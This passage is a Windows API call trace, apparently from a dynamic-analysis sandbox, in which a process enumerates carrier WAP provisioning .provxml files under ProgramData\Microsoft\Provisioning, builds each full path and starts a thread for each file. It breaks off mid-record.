_Dest=0x2fa3238, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.277] wcscat (in: _Dest=0x2fa3238, _Source="646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0182.278] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916fef72, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916fef72, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916fef72, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="647__C~1.PRO")) returned 1 [0182.278] wcscmp (_String1="647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.278] wcscmp (_String1="647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.278] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa2f68 [0182.278] wcscpy (in: _Dest=0x2fa2f68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.278] wcscat (in: _Dest=0x2fa2f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.278] wcscat (in: _Dest=0x2fa2f68, _Source="647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0182.279] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917251dd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917251dd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917251dd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="648__C~1.PRO")) returned 1 [0182.279] wcscmp (_String1="648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.279] wcscmp (_String1="648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.279] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa30d0 [0182.279] wcscpy (in: _Dest=0x2fa30d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.279] wcscat (in: _Dest=0x2fa30d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.279] wcscat (in: _Dest=0x2fa30d0, _Source="648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa30d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0182.280] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917251dd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917251dd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917251dd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="649__C~1.PRO")) returned 1 [0182.280] wcscmp (_String1="649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.280] wcscmp (_String1="649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa2860 [0182.280] wcscpy (in: _Dest=0x2fa2860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.280] wcscat (in: _Dest=0x2fa2860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.280] wcscat (in: _Dest=0x2fa2860, _Source="649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0182.280] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90306b27, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90306b27, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90306b27, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="64__CO~1.PRO")) returned 1 [0182.280] wcscmp (_String1="64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.280] wcscmp (_String1="64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x162) returned 0x2f6d160 [0182.281] wcscpy (in: _Dest=0x2f6d160, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.281] wcscat (in: _Dest=0x2f6d160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.281] wcscat (in: _Dest=0x2f6d160, _Source="64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" [0182.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0182.281] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917251dd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917251dd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917251dd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="650__C~1.PRO")) returned 1 [0182.282] wcscmp (_String1="650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.282] wcscmp (_String1="650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa2158 [0182.282] wcscpy (in: _Dest=0x2fa2158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.282] wcscat (in: _Dest=0x2fa2158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.282] wcscat (in: _Dest=0x2fa2158, _Source="650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0182.282] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917251dd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917251dd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917251dd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="651__C~1.PRO")) returned 1 [0182.282] wcscmp (_String1="651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.282] wcscmp (_String1="651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa3508 [0182.282] wcscpy (in: _Dest=0x2fa3508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.282] wcscat (in: _Dest=0x2fa3508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.282] wcscat (in: _Dest=0x2fa3508, _Source="651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0182.283] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9174b44d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9174b44d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9174b44d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="652__C~1.PRO")) returned 1 [0182.319] wcscmp (_String1="652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.319] wcscmp (_String1="652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f01a20 [0182.320] wcscpy (in: _Dest=0x4f01a20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.320] wcscat (in: _Dest=0x4f01a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.320] wcscat (in: _Dest=0x4f01a20, _Source="652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" [0182.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0182.320] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9174b44d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9174b44d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9174b44d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="653__C~1.PRO")) returned 1 [0182.320] wcscmp (_String1="653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.320] wcscmp (_String1="653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f018d8 [0182.320] wcscpy (in: _Dest=0x4f018d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.321] wcscat (in: _Dest=0x4f018d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.321] wcscat (in: _Dest=0x4f018d8, _Source="653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" [0182.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f018d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0182.321] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9174b44d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9174b44d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9174b44d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="654__C~1.PRO")) returned 1 [0182.321] wcscmp (_String1="654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.321] wcscmp (_String1="654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa3940 [0182.321] wcscpy (in: _Dest=0x2fa3940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.321] wcscat (in: _Dest=0x2fa3940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.321] wcscat (in: _Dest=0x2fa3940, _Source="654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" [0182.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0182.322] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9174b44d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9174b44d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9174b44d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="655__C~1.PRO")) returned 1 [0182.322] wcscmp (_String1="655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.322] wcscmp (_String1="655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa3d78 [0182.322] wcscpy (in: _Dest=0x2fa3d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.322] wcscat (in: _Dest=0x2fa3d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.322] wcscat (in: _Dest=0x2fa3d78, _Source="655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" [0182.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0182.323] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917716b4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917716b4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917716b4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, 